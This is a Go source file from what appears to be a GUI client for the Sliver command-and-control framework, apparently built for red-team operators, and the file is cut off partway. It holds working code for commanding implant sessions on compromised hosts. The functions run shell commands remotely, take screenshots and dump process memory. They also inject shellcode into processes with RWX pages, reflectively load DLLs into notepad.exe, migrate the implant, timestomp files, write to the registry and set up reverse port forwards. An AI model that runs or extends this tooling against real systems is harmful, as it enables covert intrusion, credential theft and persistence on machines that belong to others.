Files
Mr-In4inci3le-sliver-gui/app.go
T
Raj Kumar Mullapudi edede574e9 Add Script Manager + Operator Panels; overhaul pivot/jump graph
- Script Manager (scripts.go): 30+ lateral-move/privesc/persistence/creds/enum recipes, dry-run preview, MITRE ATT&CK + OpSec labels, spawn with listener pre-flight + post-spawn verification
- Operator Panels (panels.go): file/process browser, kill-chain tracker, engagement timer, IOC tracker, cleanup + report generators
- Graph: correct pivot direction (session-id), jump/lateral lineage, firewall->root edges, working Reset Layout, tidy arrow spacing
- Safe native file-dialog wrappers; spawn beacon-interval fix; README Operator Toolkit section
2026-07-24 17:34:12 -04:00

3176 lines
91 KiB
Go
Executable File

package main
import (
"bytes"
"compress/gzip"
"context"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"fmt"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/wailsapp/wails/v2/pkg/runtime"
"google.golang.org/protobuf/proto"
"sliver-gui/internal/sliverclient"
)
type App struct {
ctx context.Context
mu sync.Mutex
client *sliverclient.Client
eventCancel context.CancelFunc
// Advanced tunneling state (SOCKS5 + port forwarding).
// Guarded by advMu, NOT mu, so we never deadlock with requireClient().
advMu sync.Mutex
socks map[string]*socksProxyHandle // sessionID -> active socks proxy
portfwds map[string][]*portfwdHandle // sessionID -> active port forwards
shells map[string]*shellHandle // tunnelID -> interactive shell
audit *auditLogger // operator action log (~/.sliver-gui/audit.log)
}
func NewApp() *App {
return &App{
socks: map[string]*socksProxyHandle{},
portfwds: map[string][]*portfwdHandle{},
shells: map[string]*shellHandle{},
audit: newAuditLogger(),
}
}
func (a *App) startup(ctx context.Context) { a.ctx = ctx }
func (a *App) shutdown(ctx context.Context) {
a.mu.Lock()
defer a.mu.Unlock()
if a.eventCancel != nil {
a.eventCancel()
}
if a.client != nil {
a.client.Close()
}
}
// ─── Connection ───────────────────────────────────────────────────────────────
// safeOpenFileDialog wraps runtime.OpenFileDialog with a nil-ctx check and panic
// recovery to prevent app crashes if native OS file dialogs fail on Windows/Linux.
func (a *App) safeOpenFileDialog(opts runtime.OpenDialogOptions) (res string, err error) {
if a.ctx == nil {
return "", fmt.Errorf("application context not initialized")
}
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("file dialog error: %v", r)
}
}()
return runtime.OpenFileDialog(a.ctx, opts)
}
// safeSaveFileDialog wraps runtime.SaveFileDialog with a nil-ctx check and panic
// recovery to prevent app crashes if native OS file dialogs fail on Windows/Linux.
func (a *App) safeSaveFileDialog(opts runtime.SaveDialogOptions) (res string, err error) {
if a.ctx == nil {
return "", fmt.Errorf("application context not initialized")
}
defer func() {
if r := recover(); r != nil {
err = fmt.Errorf("file dialog error: %v", r)
}
}()
return runtime.SaveFileDialog(a.ctx, opts)
}
func (a *App) PickConfigFile() (string, error) {
return a.safeOpenFileDialog(runtime.OpenDialogOptions{
Title: "Select Sliver operator config (.cfg)",
Filters: []runtime.FileFilter{{DisplayName: "Sliver Config (*.cfg)", Pattern: "*.cfg"}},
})
}
type ConnectResult struct {
Connected bool `json:"connected"`
OperatorName string `json:"operatorName"`
Teamserver string `json:"teamserver"`
Error string `json:"error,omitempty"`
}
func (a *App) Connect(configPath string) ConnectResult {
cfg, err := sliverclient.LoadConfig(configPath)
if err != nil {
return ConnectResult{Error: err.Error()}
}
client, err := sliverclient.Connect(*cfg)
if err != nil {
return ConnectResult{Error: err.Error()}
}
a.mu.Lock()
if a.client != nil {
a.client.Close()
}
if a.eventCancel != nil {
a.eventCancel()
}
a.client = client
a.mu.Unlock()
a.startEventStream()
server := fmt.Sprintf("%s:%d", cfg.LHost, cfg.LPort)
a.audit.setIdentity(cfg.Operator, server)
a.audit.log("connect", server, "operator "+cfg.Operator)
return ConnectResult{
Connected: true,
OperatorName: cfg.Operator,
Teamserver: server,
}
}
func (a *App) Disconnect() {
a.mu.Lock()
defer a.mu.Unlock()
if a.eventCancel != nil {
a.eventCancel()
a.eventCancel = nil
}
if a.client != nil {
a.client.Close()
a.client = nil
}
}
func (a *App) requireClient() (*sliverclient.Client, error) {
a.mu.Lock()
defer a.mu.Unlock()
if a.client == nil {
return nil, fmt.Errorf("not connected to a teamserver")
}
return a.client, nil
}
// ─── Event Stream ─────────────────────────────────────────────────────────────
func (a *App) startEventStream() {
a.mu.Lock()
streamCtx, cancel := context.WithCancel(a.ctx)
a.eventCancel = cancel
client := a.client
a.mu.Unlock()
go func() {
stream, err := client.RPC.Events(streamCtx, &commonpb.Empty{})
if err != nil {
runtime.EventsEmit(a.ctx, "sliver:disconnected", err.Error())
return
}
for {
event, err := stream.Recv()
if err != nil {
// The teamserver stream died — signal the frontend so it can
// show the reconnect overlay. Suppress if this was a clean
//, operator-initiated Disconnect() (context cancelled).
if streamCtx.Err() == nil {
runtime.EventsEmit(a.ctx, "sliver:disconnected", err.Error())
}
return
}
payload := map[string]interface{}{
"type": event.EventType,
"data": string(event.Data),
}
if event.Session != nil {
payload["session"] = map[string]interface{}{
"id": event.Session.ID,
"hostname": event.Session.Hostname,
"username": event.Session.Username,
"os": event.Session.OS,
"arch": event.Session.Arch,
}
}
// NOTE: clientpb.Event has no Beacon field in v1.7.3 — beacon
// events carry their payload in event.Data (already emitted above).
if event.Job != nil {
payload["job"] = map[string]interface{}{
"id": event.Job.ID,
"name": event.Job.Name,
}
}
runtime.EventsEmit(a.ctx, "sliver:event", payload)
}
}()
}
// ─── Version ─────────────────────────────────────────────────────────────────
type VersionInfo struct {
Major int32 `json:"major"`
Minor int32 `json:"minor"`
Patch int32 `json:"patch"`
Commit string `json:"commit"`
OS string `json:"os"`
Arch string `json:"arch"`
Compiled string `json:"compiled"`
}
func (a *App) GetVersion() (VersionInfo, error) {
client, err := a.requireClient()
if err != nil {
return VersionInfo{}, err
}
resp, err := client.RPC.GetVersion(a.ctx, &commonpb.Empty{})
if err != nil {
return VersionInfo{}, err
}
return VersionInfo{
Major: resp.Major,
Minor: resp.Minor,
Patch: resp.Patch,
Commit: resp.Commit,
OS: resp.OS,
Arch: resp.Arch,
Compiled: time.Unix(resp.CompiledAt, 0).UTC().Format("2006-01-02"),
}, nil
}
// ─── Sessions ────────────────────────────────────────────────────────────────
type SessionView struct {
ID string `json:"id"`
Name string `json:"name"`
Hostname string `json:"hostname"`
Username string `json:"username"`
OS string `json:"os"`
Arch string `json:"arch"`
Transport string `json:"transport"`
RemoteAddr string `json:"remoteAddress"`
LastCheckin string `json:"lastCheckin"`
PID int32 `json:"pid"`
IsDead bool `json:"isDead"`
}
func (a *App) ListSessions() ([]SessionView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
sessions, err := client.ListSessions(a.ctx)
if err != nil {
return nil, err
}
out := make([]SessionView, 0, len(sessions))
for _, s := range sessions {
out = append(out, sessionToView(s))
}
return out, nil
}
func sessionToView(s *clientpb.Session) SessionView {
return SessionView{
ID: s.ID,
Name: s.Name,
Hostname: s.Hostname,
Username: s.Username,
OS: s.OS,
Arch: s.Arch,
Transport: s.Transport,
RemoteAddr: s.RemoteAddress,
LastCheckin: time.Unix(s.LastCheckin, 0).Format("15:04:05"),
PID: s.PID,
IsDead: s.IsDead,
}
}
func (a *App) RenameSession(sessionID, newName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
return client.RenameSession(a.ctx, sessionID, newName)
}
func (a *App) KillSession(sessionID string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Kill(a.ctx, &sliverpb.KillReq{
Force: false,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Execute ─────────────────────────────────────────────────────────────────
type ExecResult struct {
Stdout string `json:"stdout"`
Stderr string `json:"stderr"`
Status uint32 `json:"status"`
Error string `json:"error,omitempty"`
}
func (a *App) ExecuteCommand(sessionID, command string) ExecResult {
client, err := a.requireClient()
if err != nil {
return ExecResult{Error: err.Error()}
}
a.audit.log("command", sessionID, command)
sessions, _ := client.ListSessions(a.ctx)
var sessionOS string
for _, s := range sessions {
if s.ID == sessionID {
sessionOS = strings.ToLower(s.OS)
break
}
}
var exePath string
var args []string
if strings.Contains(sessionOS, "windows") {
exePath = "cmd.exe"
args = []string{"/c", command}
} else {
exePath = "/bin/sh"
args = []string{"-c", command}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: exePath,
Args: args,
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return ExecResult{Error: err.Error()}
}
return ExecResult{
Stdout: string(resp.Stdout),
Stderr: string(resp.Stderr),
Status: resp.Status,
}
}
// RunExecute runs a program on the target directly (Sliver's `execute`), without
// wrapping it in a shell. Use this for `execute <path> [args...]`.
func (a *App) RunExecute(sessionID, path string, args []string) ExecResult {
client, err := a.requireClient()
if err != nil {
return ExecResult{Error: err.Error()}
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: path,
Args: args,
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return ExecResult{Error: err.Error()}
}
return ExecResult{Stdout: string(resp.Stdout), Stderr: string(resp.Stderr), Status: resp.Status}
}
// ─── Screenshot ──────────────────────────────────────────────────────────────
func (a *App) TakeScreenshot(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Screenshot(a.ctx, &sliverpb.ScreenshotReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return "data:image/png;base64," + base64.StdEncoding.EncodeToString(resp.Data), nil
}
// ─── Process List ────────────────────────────────────────────────────────────
type ProcessView struct {
PID int32 `json:"pid"`
PPID int32 `json:"ppid"`
Executable string `json:"executable"`
Owner string `json:"owner"`
Arch string `json:"arch"`
CmdLine string `json:"cmdLine"`
}
func (a *App) GetProcessList(sessionID string) ([]ProcessView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Ps(a.ctx, &sliverpb.PsReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]ProcessView, 0, len(resp.Processes))
for _, p := range resp.Processes {
out = append(out, ProcessView{
PID: p.Pid,
PPID: p.Ppid,
Executable: p.Executable,
Owner: p.Owner,
Arch: p.Architecture,
CmdLine: strings.Join(p.CmdLine, " "),
})
}
return out, nil
}
func (a *App) KillRemoteProcess(sessionID string, pid uint32) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Terminate(a.ctx, &sliverpb.TerminateReq{
Pid: int32(pid),
Force: false,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Netstat ─────────────────────────────────────────────────────────────────
type NetstatEntry struct {
LocalAddr string `json:"localAddr"`
RemoteAddr string `json:"remoteAddr"`
Protocol string `json:"protocol"`
State string `json:"state"`
PID uint32 `json:"pid"`
Process string `json:"process"`
}
func (a *App) GetNetstat(sessionID string) ([]NetstatEntry, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Netstat(a.ctx, &sliverpb.NetstatReq{
TCP: true,
UDP: true,
IP4: true,
IP6: true,
Listening: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]NetstatEntry, 0, len(resp.Entries))
for _, e := range resp.Entries {
local, remote := "", ""
if e.LocalAddr != nil {
local = fmt.Sprintf("%s:%d", e.LocalAddr.Ip, e.LocalAddr.Port)
}
if e.RemoteAddr != nil {
remote = fmt.Sprintf("%s:%d", e.RemoteAddr.Ip, e.RemoteAddr.Port)
}
var pid uint32
var proc string
if e.Process != nil {
pid = uint32(e.Process.Pid)
proc = e.Process.Executable
}
out = append(out, NetstatEntry{
LocalAddr: local,
RemoteAddr: remote,
Protocol: e.Protocol,
State: e.SkState,
PID: pid,
Process: proc,
})
}
return out, nil
}
// ─── Env Vars ────────────────────────────────────────────────────────────────
type EnvVar struct {
Key string `json:"key"`
Value string `json:"value"`
}
func (a *App) GetEnvVars(sessionID string) ([]EnvVar, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.GetEnv(a.ctx, &sliverpb.EnvReq{
Name: "",
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]EnvVar, 0, len(resp.Variables))
for _, v := range resp.Variables {
out = append(out, EnvVar{Key: v.Key, Value: v.Value})
}
return out, nil
}
func (a *App) SetEnvVar(sessionID, key, value string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.SetEnv(a.ctx, &sliverpb.SetEnvReq{
Variable: &commonpb.EnvVar{Key: key, Value: value},
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) UnsetEnvVar(sessionID, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.UnsetEnv(a.ctx, &sliverpb.UnsetEnvReq{
Name: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Registry (Windows) ──────────────────────────────────────────────────────
type RegistryKey struct {
Name string `json:"name"`
}
type RegistryValue struct {
Name string `json:"name"`
Type string `json:"type"`
Value string `json:"value"`
}
func (a *App) RegistryListSubKeys(sessionID, hive, path string) ([]string, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.RegistryListSubKeys(a.ctx, &sliverpb.RegistrySubKeyListReq{
Hive: hive,
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
return resp.Subkeys, nil
}
// hiveToRegQuery maps the short hive names used in the UI to the full names
// that reg.exe expects.
var hiveToRegQuery = map[string]string{
"HKLM": "HKEY_LOCAL_MACHINE",
"HKCU": "HKEY_CURRENT_USER",
"HKCR": "HKEY_CLASSES_ROOT",
"HKU": "HKEY_USERS",
"HKCC": "HKEY_CURRENT_CONFIG",
}
// RegistryListValues: the RegistryListValues RPC only returns value *names*
// (RegistryValuesList.ValueNames) in v1.7.3 — no types or data. To show
// name/type/value we fall back to `reg query` via Execute and parse its output.
func (a *App) RegistryListValues(sessionID, hive, path string) ([]RegistryValue, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
fullHive := hiveToRegQuery[strings.ToUpper(hive)]
if fullHive == "" {
fullHive = hive
}
keyPath := fullHive
if path != "" {
keyPath = fullHive + "\\" + strings.Trim(path, "\\")
}
resp, err := client.RPC.Execute(a.ctx, &sliverpb.ExecuteReq{
Path: "reg.exe",
Args: []string{"query", keyPath},
Output: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := []RegistryValue{}
lines := strings.Split(strings.ReplaceAll(string(resp.Stdout), "\r\n", "\n"), "\n")
for _, line := range lines {
// Value rows are indented; reg.exe separates columns with 4 spaces.
if !strings.HasPrefix(line, " ") {
continue
}
cols := strings.SplitN(strings.TrimLeft(line, " "), " ", 3)
if len(cols) < 3 {
continue
}
out = append(out, RegistryValue{
Name: strings.TrimSpace(cols[0]),
Type: strings.TrimSpace(cols[1]),
Value: strings.TrimSpace(cols[2]),
})
}
return out, nil
}
func (a *App) RegistryReadValue(sessionID, hive, path, key string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.RegistryRead(a.ctx, &sliverpb.RegistryReadReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Value, nil
}
func (a *App) RegistryWriteValue(sessionID, hive, path, key, value string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryWrite(a.ctx, &sliverpb.RegistryWriteReq{
Hive: hive,
Path: path,
Key: key,
StringValue: value,
Type: 1, // RegistryWriteReq.Type is uint32; 1 == REG_SZ
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RegistryCreateKey(sessionID, hive, path, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryCreateKey(a.ctx, &sliverpb.RegistryCreateKeyReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) RegistryDeleteKey(sessionID, hive, path, key string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.RegistryDeleteKey(a.ctx, &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: path,
Key: key,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── File Browser ────────────────────────────────────────────────────────────
type LsResult struct {
Path string `json:"path"`
Files []FileInfo `json:"files"`
Error string `json:"error,omitempty"`
}
type FileInfo struct {
Name string `json:"name"`
IsDir bool `json:"isDir"`
Size int64 `json:"size"`
Mode string `json:"mode"`
}
func (a *App) ListFiles(sessionID, path string) LsResult {
client, err := a.requireClient()
if err != nil {
return LsResult{Error: err.Error()}
}
if path == "" {
path = "."
}
resp, err := client.RPC.Ls(a.ctx, &sliverpb.LsReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return LsResult{Error: err.Error()}
}
files := make([]FileInfo, 0, len(resp.Files))
for _, f := range resp.Files {
files = append(files, FileInfo{Name: f.Name, IsDir: f.IsDir, Size: f.Size, Mode: f.Mode})
}
return LsResult{Path: resp.Path, Files: files}
}
func (a *App) MakeDirectory(sessionID, path string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Mkdir(a.ctx, &sliverpb.MkdirReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ChangeDir changes the implant's working directory (real Cd RPC) and returns
// the new absolute path.
func (a *App) ChangeDir(sessionID, path string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Cd(a.ctx, &sliverpb.CdReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Path, nil
}
// PrintWorkingDir returns the implant's current working directory (real Pwd RPC).
func (a *App) PrintWorkingDir(sessionID string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Pwd(a.ctx, &sliverpb.PwdReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Path, nil
}
func (a *App) MoveFile(sessionID, src, dst string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Mv(a.ctx, &sliverpb.MvReq{
Src: src,
Dst: dst,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) CopyFile(sessionID, src, dst string) (int64, error) {
client, err := a.requireClient()
if err != nil {
return 0, err
}
resp, err := client.RPC.Cp(a.ctx, &sliverpb.CpReq{
Src: src,
Dst: dst,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return 0, err
}
return resp.BytesWritten, nil
}
// ReadRemoteFile downloads a file and returns its contents as text (for `cat`).
func (a *App) ReadRemoteFile(sessionID, path string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: path,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
if resp.IsDir {
return "", fmt.Errorf("%s is a directory", path)
}
data, err := decodeDownload(resp)
if err != nil {
return "", err
}
return string(data), nil
}
// ─── Network / Privileges / Memory ─────────────────────────────────────────────
type NetInterfaceView struct {
Name string `json:"name"`
MAC string `json:"mac"`
IPs []string `json:"ips"`
}
func (a *App) Ifconfig(sessionID string) ([]NetInterfaceView, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
resp, err := client.RPC.Ifconfig(a.ctx, &sliverpb.IfconfigReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return nil, err
}
out := make([]NetInterfaceView, 0, len(resp.NetInterfaces))
for _, ni := range resp.NetInterfaces {
out = append(out, NetInterfaceView{Name: ni.Name, MAC: ni.MAC, IPs: ni.IPAddresses})
}
return out, nil
}
type PrivEntry struct {
Name string `json:"name"`
Description string `json:"description"`
Enabled bool `json:"enabled"`
}
type PrivsResult struct {
Integrity string `json:"integrity"`
ProcessName string `json:"processName"`
Privs []PrivEntry `json:"privs"`
}
func (a *App) GetPrivs(sessionID string) (PrivsResult, error) {
client, err := a.requireClient()
if err != nil {
return PrivsResult{}, err
}
resp, err := client.RPC.GetPrivs(a.ctx, &sliverpb.GetPrivsReq{
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return PrivsResult{}, err
}
out := PrivsResult{Integrity: resp.ProcessIntegrity, ProcessName: resp.ProcessName}
for _, p := range resp.PrivInfo {
out.Privs = append(out.Privs, PrivEntry{Name: p.Name, Description: p.Description, Enabled: p.Enabled})
}
return out, nil
}
// ProcessDump dumps a process's memory and saves it via a native dialog.
func (a *App) ProcessDump(sessionID string, pid int32) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.ProcessDump(a.ctx, &sliverpb.ProcessDumpReq{
Pid: pid,
Timeout: 30,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
savePath, err := a.safeSaveFileDialog(runtime.SaveDialogOptions{
DefaultFilename: fmt.Sprintf("procdump_%d.dmp", pid),
Title: "Save process dump",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, resp.Data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(resp.Data))}
}
func (a *App) RemoveFile(sessionID, path string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Rm(a.ctx, &sliverpb.RmReq{
Path: path,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── File Transfers ──────────────────────────────────────────────────────────
type TransferResult struct {
Path string `json:"path"`
Bytes int64 `json:"bytes"`
Error string `json:"error,omitempty"`
}
func (a *App) DownloadFile(sessionID, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := decodeDownload(resp)
if err != nil {
return TransferResult{Error: "decode: " + err.Error()}
}
savePath, err := a.safeSaveFileDialog(runtime.SaveDialogOptions{
DefaultFilename: filepath.Base(remotePath),
Title: "Save downloaded file",
})
if err != nil || savePath == "" {
return TransferResult{Error: "save cancelled"}
}
if err := os.WriteFile(savePath, data, 0644); err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: savePath, Bytes: int64(len(data))}
}
// decodeDownload returns the file bytes from a Download response, transparently
// gunzipping when the implant gzip-encoded the payload (resp.Encoder == "gzip").
func decodeDownload(resp *sliverpb.Download) ([]byte, error) {
if resp.Encoder == "gzip" {
gz, err := gzip.NewReader(bytes.NewReader(resp.Data))
if err != nil {
return nil, err
}
defer gz.Close()
return io.ReadAll(gz)
}
return resp.Data, nil
}
func (a *App) UploadFile(sessionID, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
localPath, err := a.safeOpenFileDialog(runtime.OpenDialogOptions{
Title: "Select file to upload",
})
if err != nil || localPath == "" {
return TransferResult{Error: "upload cancelled"}
}
data, err := os.ReadFile(localPath)
if err != nil {
return TransferResult{Error: err.Error()}
}
target := remotePath
if target == "" {
target = filepath.Base(localPath)
}
_, err = client.RPC.Upload(a.ctx, &sliverpb.UploadReq{
Path: target,
Data: data,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: target, Bytes: int64(len(data))}
}
// UploadFileFrom uploads a specific local file (on the operator machine) to a
// remote path — CLI-style `upload <local> <remote>`, no file dialog.
func (a *App) UploadFileFrom(sessionID, localPath, remotePath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := os.ReadFile(localPath)
if err != nil {
return TransferResult{Error: "read local file: " + err.Error()}
}
target := remotePath
if target == "" {
target = filepath.Base(localPath)
}
_, err = client.RPC.Upload(a.ctx, &sliverpb.UploadReq{
Path: target,
Data: data,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
return TransferResult{Path: target, Bytes: int64(len(data))}
}
// DownloadFileTo downloads a remote file straight to a local path — CLI-style
// `download <remote> <local>`, no save dialog.
func (a *App) DownloadFileTo(sessionID, remotePath, localPath string) TransferResult {
client, err := a.requireClient()
if err != nil {
return TransferResult{Error: err.Error()}
}
resp, err := client.RPC.Download(a.ctx, &sliverpb.DownloadReq{
Path: remotePath,
RestrictedToFile: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return TransferResult{Error: err.Error()}
}
data, err := decodeDownload(resp)
if err != nil {
return TransferResult{Error: "decode: " + err.Error()}
}
if err := os.WriteFile(localPath, data, 0644); err != nil {
return TransferResult{Error: "write local file: " + err.Error()}
}
return TransferResult{Path: localPath, Bytes: int64(len(data))}
}
// ─── Advanced execution / privilege (session) ───────────────────────────────────
// RunAs runs a program as another user (Windows).
func (a *App) RunAs(sessionID, username, domain, password, program, args string) (string, error) {
client, err := a.requireClient()
if err != nil {
return "", err
}
resp, err := client.RPC.RunAs(a.ctx, &sliverpb.RunAsReq{
Username: username,
Domain: domain,
Password: password,
ProcessName: program,
Args: args,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return "", err
}
return resp.Output, nil
}
// Migrate injects the implant into another process (pid), building the payload
// from a saved implant profile's config.
func (a *App) Migrate(sessionID string, pid uint32, profileName string) error {
client, err := a.requireClient()
if err != nil {
return err
}
cfg, err := a.profileConfig(profileName)
if err != nil {
return err
}
_, err = client.RPC.Migrate(a.ctx, &clientpb.MigrateReq{
Pid: pid,
Config: cfg,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// profileConfig fetches a saved implant profile's config by name.
func (a *App) profileConfig(name string) (*clientpb.ImplantConfig, error) {
client, err := a.requireClient()
if err != nil {
return nil, err
}
profiles, err := client.RPC.ImplantProfiles(a.ctx, &commonpb.Empty{})
if err != nil {
return nil, err
}
for _, p := range profiles.Profiles {
if p.Name == name {
if p.Config == nil {
return nil, fmt.Errorf("profile %q has no config", name)
}
// getsystem/migrate inject SHELLCODE into a process, so rebuild a
// fresh, complete config from the profile's core params with the
// format forced to shellcode. This avoids stale/partial fields from
// the DB round-trip that can produce invalid generated source.
req := GenerateRequest{
GOOS: p.Config.GOOS,
GOARCH: p.Config.GOARCH,
Format: "shellcode",
Debug: p.Config.Debug,
}
if len(p.Config.C2) > 0 {
req.C2URL = p.Config.C2[0].URL
}
if req.C2URL == "" {
return nil, fmt.Errorf("profile %q has no C2 URL", name)
}
return a.buildImplantConfig(req), nil
}
}
return nil, fmt.Errorf("implant profile %q not found — create one in the Profiles panel first", name)
}
// ExecuteShellcode injects shellcode (opened via a native dialog) into a process.
// pid 0 = the implant's own process.
func (a *App) ExecuteShellcode(sessionID, localPath string, pid uint32) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select shellcode (.bin)")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
_, err = client.RPC.Task(a.ctx, &sliverpb.TaskReq{
Data: data,
Pid: pid,
RWXPages: true,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: "[+] shellcode injected"}
}
// SpawnDll reflectively loads a DLL (opened via a native dialog) into a process.
func (a *App) SpawnDll(sessionID, localPath, args, entryPoint string) AssemblyResult {
client, err := a.requireClient()
if err != nil {
return AssemblyResult{Error: err.Error()}
}
data, err := a.readLocalOrDialog(localPath, "Select reflective DLL")
if err != nil {
return AssemblyResult{Error: err.Error()}
}
ep := entryPoint
if ep == "" {
ep = "ReflectiveLoader"
}
_, err = client.RPC.SpawnDll(a.ctx, &sliverpb.InvokeSpawnDllReq{
Data: data,
ProcessName: "notepad.exe",
Args: strings.Fields(args),
EntryPoint: ep,
Request: &commonpb.Request{SessionID: sessionID},
})
if err != nil {
return AssemblyResult{Error: err.Error()}
}
return AssemblyResult{Output: "[+] DLL spawned"}
}
func (a *App) Chmod(sessionID, path, mode string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chmod(a.ctx, &sliverpb.ChmodReq{
Path: path,
FileMode: mode,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
func (a *App) Chown(sessionID, path, uid, gid string) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chown(a.ctx, &sliverpb.ChownReq{
Path: path,
Uid: uid,
Gid: gid,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// Chtimes timestomps a file — sets access + modified time (unix seconds).
func (a *App) Chtimes(sessionID, path string, atime, mtime int64) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.Chtimes(a.ctx, &sliverpb.ChtimesReq{
Path: path,
ATime: atime,
MTime: mtime,
Request: &commonpb.Request{SessionID: sessionID},
})
return err
}
// ─── Reverse port forwarding (session) ──────────────────────────────────────────
type RportFwdView struct {
ID uint32 `json:"id"`
Bind string `json:"bind"`
Forward string `json:"forward"`
}
func (a *App) StartRportFwd(sessionID, bindAddr string, bindPort int, fwdAddr string, fwdPort int) error {
client, err := a.requireClient()
if err != nil {
return err
}
_, err = client.RPC.StartRportFwdListener(a.ctx, &sliverpb.RportFwdStartListenerReq{
